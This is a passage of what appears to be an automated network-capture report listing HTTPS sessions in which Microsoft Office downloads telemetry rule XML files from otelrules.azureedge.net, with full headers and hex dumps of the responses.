78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:17 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 4412bc79-a01e-0084-7102-299ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035317Z-r197bdfb6b46kdskt78qagqq1c000000062000000000gv1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:17 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035317Z-r197bdfb6b4mcssrvu34xzqc5400000005zg00000000k030 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:17 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035317Z-16849878b78q9m8bqvwuva4svc00000004m0000000002xr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:17 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035317Z-16849878b78fhxrnedubv5byks000000049g00000000d67h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:17 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 66721f0b-e01e-00aa-4086-29ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035317Z-17c5cb586f69w69mgazyf263an0000000570000000003uvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49864	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:18 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035318Z-15b8d89586fqj7k5h9gbd8vs98000000072000000000fa2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:18 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035318Z-16849878b78z2wx67pvzz63kdg00000004qg000000000nwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:18 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:18 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035318Z-16849878b78qfbkc5yywmsbg0c00000005p000000000avbg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:18 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:18 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:18 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 18f8d736-c01e-00a2-252b-272327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035318Z-r197bdfb6b4d9xksru4x6qbqr000000005y000000000g12w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:18 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49867	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:18 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035318Z-17c5cb586f6z6tw6g7cmdv30m800000007dg000000000fgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49868	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:19 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:19 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ded904a3-601e-000d-0f3d-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035319Z-r197bdfb6b4bq7nf8dgr5rzeq4000000018g00000000b4en x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:19 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49871	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:19 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
